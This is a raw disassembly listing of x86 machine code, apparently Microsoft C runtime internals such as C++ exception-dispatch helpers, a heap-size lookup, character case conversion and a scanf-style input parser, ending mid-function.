arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_46B6B8, 0 push esi push edi jz short loc_41AE51 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41605A add esp, 1Ch test eax, eax jnz short loc_41AEC4 loc_41AE51: ; CODE XREF: sub_41AE20+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_416183 add esp, 14h mov esi, eax loc_41AE6D: ; CODE XREF: sub_41AE20+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41AEC4 cmp edi, [esi] jl short loc_41AEBC cmp edi, [esi+4] jg short loc_41AEBC mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41AE96 cmp byte ptr [ecx+8], 0 jnz short loc_41AEBC loc_41AE96: ; CODE XREF: sub_41AE20+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41AFD9 add esp, 2Ch loc_41AEBC: ; CODE XREF: sub_41AE20+57j ; sub_41AE20+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41AE6D ; --------------------------------------------------------------------------- loc_41AEC4: ; CODE XREF: sub_41AE20+2Fj ; sub_41AE20+53j pop edi pop esi leave retn sub_41AE20 endp ; =============== S U B R O U T I N E ======================================= sub_41AEC8 proc near ; CODE XREF: sub_41AC79+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41AF1F cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41AF1F mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41AEF9 add ecx, 8 push ecx push edx call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_41AF1B loc_41AEF9: ; CODE XREF: sub_41AEC8+1Fj test byte ptr [esi], 2 jz short loc_41AF03 test byte ptr [edi], 8 jz short loc_41AF1B loc_41AF03: ; CODE XREF: sub_41AEC8+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41AF12 test byte ptr [edi], 1 jz short loc_41AF1B loc_41AF12: ; CODE XREF: sub_41AEC8+43j test al, 2 jz short loc_41AF1F test byte ptr [edi], 2 jnz short loc_41AF1F loc_41AF1B: ; CODE XREF: sub_41AEC8+2Fj ; sub_41AEC8+39j ... xor eax, eax jmp short loc_41AF22 ; --------------------------------------------------------------------------- loc_41AF1F: ; CODE XREF: sub_41AEC8+Bj ; sub_41AEC8+14j ... push 1 pop eax loc_41AF22: ; CODE XREF: sub_41AEC8+55j pop edi pop esi retn sub_41AEC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF25 proc near ; CODE XREF: sub_41ABDE+34p ; sub_41AFD9+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421828 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41AF57: ; CODE XREF: sub_41AF25+8Aj cmp esi, [ebp+arg_C] jz short loc_41AFB1 cmp esi, 0FFFFFFFFh jle short loc_41AF66 cmp esi, [edi+4] jl short loc_41AF6B loc_41AF66: ; CODE XREF: sub_41AF25+3Aj call sub_41B482 loc_41AF6B: ; CODE XREF: sub_41AF25+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41AF86 push 103h push ebx push eax call sub_41B3E0 loc_41AF86: ; CODE XREF: sub_41AF25+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41AFA6 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41AFC3 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41AFA6: ; CODE XREF: sub_41AF25+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41AF57 ; --------------------------------------------------------------------------- loc_41AFB1: ; CODE XREF: sub_41AF25+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41AF25 endp ; =============== S U B R O U T I N E ======================================= sub_41AFC3 proc near ; CODE XREF: sub_41AF25+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41AFD4 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41AFD4: ; CODE XREF: sub_41AFC3+Cj jmp sub_41B42C sub_41AFC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AFD9 proc near ; CODE XREF: sub_41AC79+151p ; sub_41AE20+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41AFFB push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41B18A add esp, 10h loc_41AFFB: ; CODE XREF: sub_41AFD9+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41B007 push edi jmp short loc_41B00A ; --------------------------------------------------------------------------- loc_41B007: ; CODE XREF: sub_41AFD9+29j push [ebp+arg_24] loc_41B00A: ; CODE XREF: sub_41AFD9+2Cj call sub_415F5C mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41AF25 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41B054 add esp, 2Ch test eax, eax jz short loc_41B04F push edi push eax call sub_415F1A loc_41B04F: ; CODE XREF: sub_41AFD9+6Dj pop edi pop esi pop ebx pop ebp retn sub_41AFD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B054 proc near ; CODE XREF: sub_41AFD9+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421838 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_46B6B0 mov [ebp+var_1C], ecx mov ecx, dword_46B6B4 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_46B6B0, edi mov ecx, [ebp+arg_8] mov dword_46B6B4, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_415FE1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41B11A mov eax, [ebp+var_2C] loc_41B0E1: ; CODE XREF: sub_41B0FA+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B054 endp ; =============== S U B R O U T I N E ======================================= sub_41B0F0 proc near ; DATA XREF: seg001:00421848o push dword ptr [ebp-14h] call sub_41B160 pop ecx retn sub_41B0F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B0FA proc near ; DATA XREF: seg001:0042184Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_416242 pop ecx pop ecx xor eax, eax jmp short loc_41B0E1 sub_41B0FA endp ; --------------------------------------------------------------------------- loc_41B112: ; DATA XREF: seg001:00421840o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41B11A proc near ; CODE XREF: sub_41B054+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_46B6B0, eax mov eax, [ebp-20h] mov dword_46B6B4, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41B15F cmp dword ptr [edi+10h], 3 jnz short locret_41B15F cmp dword ptr [edi+14h], 19930520h jnz short locret_41B15F cmp [ebp-24h], ebx jnz short locret_41B15F cmp [ebp-2Ch], ebx jz short locret_41B15F call sub_4162AA push eax push edi call sub_41B34E pop ecx pop ecx locret_41B15F: ; CODE XREF: sub_41B11A+1Cj ; sub_41B11A+22j ... retn sub_41B11A endp ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_41B0F0+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41B187 cmp dword ptr [eax+10h], 3 jnz short loc_41B187 cmp dword ptr [eax+14h], 19930520h jnz short loc_41B187 cmp dword ptr [eax+1Ch], 0 jnz short loc_41B187 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B187: ; CODE XREF: sub_41B160+Cj ; sub_41B160+12j ... xor eax, eax retn sub_41B160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B18A proc near ; CODE XREF: sub_41AFD9+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421850 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41B333 cmp byte ptr [eax+8], 0 jz loc_41B333 mov eax, [ecx+8] test eax, eax jz loc_41B333 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41B227 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41E802 pop ecx pop ecx test eax, eax jz loc_41B32A push 1 push edi call sub_41E81E pop ecx pop ecx test eax, eax jz loc_41B32A mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41B218: ; CODE XREF: sub_41B18A+F5j push eax call sub_41B3B5 pop ecx pop ecx mov [edi], eax jmp loc_41B32F ; --------------------------------------------------------------------------- loc_41B227: ; CODE XREF: sub_41B18A+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41B281 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41E802 pop ecx pop ecx test eax, eax jz loc_41B32A push 1 push edi call sub_41E81E pop ecx pop ecx test eax, eax jz loc_41B32A push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416320 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41B32F mov eax, [edi] test eax, eax jz loc_41B32F add esi, 8 push esi jmp short loc_41B218 ; --------------------------------------------------------------------------- loc_41B281: ; CODE XREF: sub_41B18A+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41B2C9 call sub_41E802 pop ecx pop ecx test eax, eax jz loc_41B32A push 1 push edi call sub_41E81E pop ecx pop ecx test eax, eax jz short loc_41B32A push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41B3B5 pop ecx pop ecx push eax push edi call sub_416320 add esp, 0Ch jmp short loc_41B32F ; --------------------------------------------------------------------------- loc_41B2C9: ; CODE XREF: sub_41B18A+103j call sub_41E802 pop ecx pop ecx test eax, eax jz short loc_41B32A push 1 push edi call sub_41E81E pop ecx pop ecx test eax, eax jz short loc_41B32A push dword ptr [esi+18h] call sub_41E83A pop ecx test eax, eax jz short loc_41B32A test byte ptr [esi], 4 jz short loc_41B310 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41B3B5 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_415F55 jmp short loc_41B32F ; --------------------------------------------------------------------------- loc_41B310: ; CODE XREF: sub_41B18A+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41B3B5 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_415F4E jmp short loc_41B32F ; --------------------------------------------------------------------------- loc_41B32A: ; CODE XREF: sub_41B18A+6Aj ; sub_41B18A+7Cj ... call sub_41B482 loc_41B32F: ; CODE XREF: sub_41B18A+98j ; sub_41B18A+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41B333: ; CODE XREF: sub_41B18A+2Ej ; sub_41B18A+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B18A endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41B42C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B34E proc near ; CODE XREF: sub_41AC79+170p ; sub_41B11A+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421860 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41B395 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41B395 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_415F4E or [ebp+var_4], 0FFFFFFFFh loc_41B395: ; CODE XREF: sub_41B34E+2Aj ; sub_41B34E+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B34E endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41B42C ; =============== S U B R O U T I N E ======================================= sub_41B3B5 proc near ; CODE XREF: sub_41B18A+8Fp ; sub_41B18A+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41B3D6 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41B3D6: ; CODE XREF: sub_41B3B5+12j pop esi retn sub_41B3B5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3E0 proc near ; CODE XREF: sub_415FE1+40p ; sub_41AF25+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_4162CD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41B41F mov ecx, 2 loc_41B41F: ; CODE XREF: sub_41B3E0+38j push ecx call sub_4162CD pop ebp pop ecx pop ebx leave retn 0Ch sub_41B3E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B42C proc near ; CODE XREF: sub_41AC79:loc_41AE1Bj ; sub_41AFC3:loc_41AFD4j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041E852 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421870 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_46B6BC test eax, eax jz short loc_41B474 mov [ebp+var_4], 1 call eax jmp short loc_41B470 ; --------------------------------------------------------------------------- loc_41B469: ; DATA XREF: seg001:00421880o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B46D: ; DATA XREF: seg001:00421884o mov esp, [ebp+var_18] loc_41B470: ; CODE XREF: sub_41B42C+3Bj and [ebp+var_4], 0 loc_41B474: ; CODE XREF: sub_41B42C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41B47D: ; DATA XREF: seg001:00421878o jmp loc_41E852 sub_41B42C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B482 proc near ; CODE XREF: sub_416183+23p ; sub_416183:loc_4161EEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421888 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43A2A4 test eax, eax jz short loc_41B4CA mov [ebp+var_4], 1 call eax ; sub_41B42C jmp short loc_41B4C6 ; --------------------------------------------------------------------------- loc_41B4BF: ; DATA XREF: seg001:00421898o push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_41B4C6: ; CODE XREF: sub_41B482+3Bj and [ebp+var_4], 0 loc_41B4CA: ; CODE XREF: sub_41B482+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41B4D3: ; DATA XREF: seg001:00421890o jmp sub_41B42C sub_41B482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4D8 proc near ; CODE XREF: sub_416663+7p ; sub_416663+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_46CCA8 push esi cmp eax, 3 jnz short loc_41B501 mov esi, [ebp+arg_0] push esi call sub_418CBD test eax, eax pop ecx jz short loc_41B4FE mov eax, [esi-4] sub eax, 9 jmp short loc_41B536 ; --------------------------------------------------------------------------- loc_41B4FE: ; CODE XREF: sub_41B4D8+1Cj push esi jmp short loc_41B528 ; --------------------------------------------------------------------------- loc_41B501: ; CODE XREF: sub_41B4D8+Ej cmp eax, 2 jnz short loc_41B525 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_419A18 add esp, 0Ch test eax, eax jz short loc_41B525 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41B536 ; --------------------------------------------------------------------------- loc_41B525: ; CODE XREF: sub_41B4D8+2Cj ; sub_41B4D8+43j push [ebp+arg_0] loc_41B528: ; CODE XREF: sub_41B4D8+27j push 0 push dword_46CCA4 call dword_42118C ; RtlSizeHeap loc_41B536: ; CODE XREF: sub_41B4D8+24j ; sub_41B4D8+4Bj pop esi leave retn sub_41B4D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B539 proc near ; CODE XREF: sub_416728+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_46B6CC, 0 push ebx jnz short loc_41B564 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41B602 cmp eax, 7Ah jg loc_41B602 sub eax, 20h jmp loc_41B602 ; --------------------------------------------------------------------------- loc_41B564: ; CODE XREF: sub_41B539+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41B597 cmp dword_43812C, 1 jle short loc_41B584 push 2 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41B58F ; --------------------------------------------------------------------------- loc_41B584: ; CODE XREF: sub_41B539+3Dj mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 2 loc_41B58F: ; CODE XREF: sub_41B539+49j test eax, eax jnz short loc_41B597 loc_41B593: ; CODE XREF: sub_41B539+AFj mov eax, ebx jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B597: ; CODE XREF: sub_41B539+34j ; sub_41B539+58j mov edx, off_437F20 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41B5BA and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41B5C3 ; --------------------------------------------------------------------------- loc_41B5BA: ; CODE XREF: sub_41B539+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41B5C3: ; CODE XREF: sub_41B539+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_46B6CC call sub_41C639 add esp, 20h test eax, eax jz short loc_41B593 cmp eax, 1 jnz short loc_41B5F5 movzx eax, [ebp+var_4] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5F5: ; CODE XREF: sub_41B539+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41B602: ; CODE XREF: sub_41B539+14j ; sub_41B539+1Dj ... pop ebx leave retn sub_41B539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B605 proc near ; CODE XREF: sub_416947+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41C00B mov edi, [ebp+arg_0] jmp short loc_41B634 ; --------------------------------------------------------------------------- loc_41B62F: ; CODE XREF: sub_41B605+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41B634: ; CODE XREF: sub_41B605+28j cmp dword_43812C, 1 jle short loc_41B64C movzx eax, al push 8 push eax call sub_418576 pop ecx pop ecx jmp short loc_41B65B ; --------------------------------------------------------------------------- loc_41B64C: ; CODE XREF: sub_41B605+36j mov ecx, off_437F20 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41B65B: ; CODE XREF: sub_41B605+45j cmp eax, ebx jz short loc_41B695 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41C092 pop ecx pop ecx push eax call sub_41C07B movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E931 add esp, 0Ch loc_41B683: ; CODE XREF: sub_41B605+8Ej test eax, eax jz short loc_41B695 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E931 pop ecx jmp short loc_41B683 ; --------------------------------------------------------------------------- loc_41B695: ; CODE XREF: sub_41B605+58j ; sub_41B605+80j cmp byte ptr [esi], 25h jnz loc_41BF77 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41B6CC: ; CODE XREF: sub_41B605+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43812C, 1 jle short loc_41B6E9 movzx eax, bl push 4 push eax call sub_418576 pop ecx pop ecx jmp short loc_41B6F8 ; --------------------------------------------------------------------------- loc_41B6E9: ; CODE XREF: sub_41B605+D3j mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41B6F8: ; CODE XREF: sub_41B605+E2j test eax, eax jz short loc_41B70E mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B605+F5j cmp ebx, 4Eh jg short loc_41B751 jz short loc_41B773 cmp ebx, 2Ah jz short loc_41B74C cmp ebx, 46h jz short loc_41B773 cmp ebx, 49h jz short loc_41B72E cmp ebx, 4Ch jnz short loc_41B760 inc [ebp+var_D] jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B72E: ; CODE XREF: sub_41B605+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41B760 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41B760 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B74C: ; CODE XREF: sub_41B605+113j inc [ebp+var_E] jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B751: ; CODE XREF: sub_41B605+10Cj cmp ebx, 68h jz short loc_41B76D cmp ebx, 6Ch jz short loc_41B765 cmp ebx, 77h jz short loc_41B768 loc_41B760: ; CODE XREF: sub_41B605+122j ; sub_41B605+12Dj ... inc [ebp+var_F] jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B765: ; CODE XREF: sub_41B605+154j inc [ebp+var_D] loc_41B768: ; CODE XREF: sub_41B605+159j inc [ebp+var_5] jmp short loc_41B773 ; --------------------------------------------------------------------------- loc_41B76D: ; CODE XREF: sub_41B605+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41B773: ; CODE XREF: sub_41B605+107j ; sub_41B605+10Ej ... cmp [ebp+var_F], 0 jz loc_41B6CC cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41B798 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41B798: ; CODE XREF: sub_41B605+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41B7B6 mov al, [esi] cmp al, 53h jz short loc_41B7B2 cmp al, 43h jz short loc_41B7B2 or [ebp+var_5], 0FFh jmp short loc_41B7B6 ; --------------------------------------------------------------------------- loc_41B7B2: ; CODE XREF: sub_41B605+1A1j ; sub_41B605+1A5j mov [ebp+var_5], 1 loc_41B7B6: ; CODE XREF: sub_41B605+19Bj ; sub_41B605+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41B7EF cmp esi, 63h jz short loc_41B7E0 cmp esi, 7Bh jz short loc_41B7E0 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41C092 pop ecx jmp short loc_41B7EB ; --------------------------------------------------------------------------- loc_41B7E0: ; CODE XREF: sub_41B605+1C5j ; sub_41B605+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 loc_41B7EB: ; CODE XREF: sub_41B605+1D9j pop ecx mov [ebp+var_14], eax loc_41B7EF: ; CODE XREF: sub_41B605+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41B7FF cmp [ebp+var_C], eax jz loc_41BFDB loc_41B7FF: ; CODE XREF: sub_41B605+1EFj cmp esi, 6Fh jg loc_41BA66 jz loc_41BD18 cmp esi, 63h jz loc_41BA43 cmp esi, 64h jz loc_41BD18 jle loc_41BA90 cmp esi, 67h jle short loc_41B863 cmp esi, 69h jz short loc_41B84B cmp esi, 6Eh jnz loc_41BA90 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41BF46 jmp loc_41BF6C ; --------------------------------------------------------------------------- loc_41B84B: ; CODE XREF: sub_41B605+229j push 64h pop esi 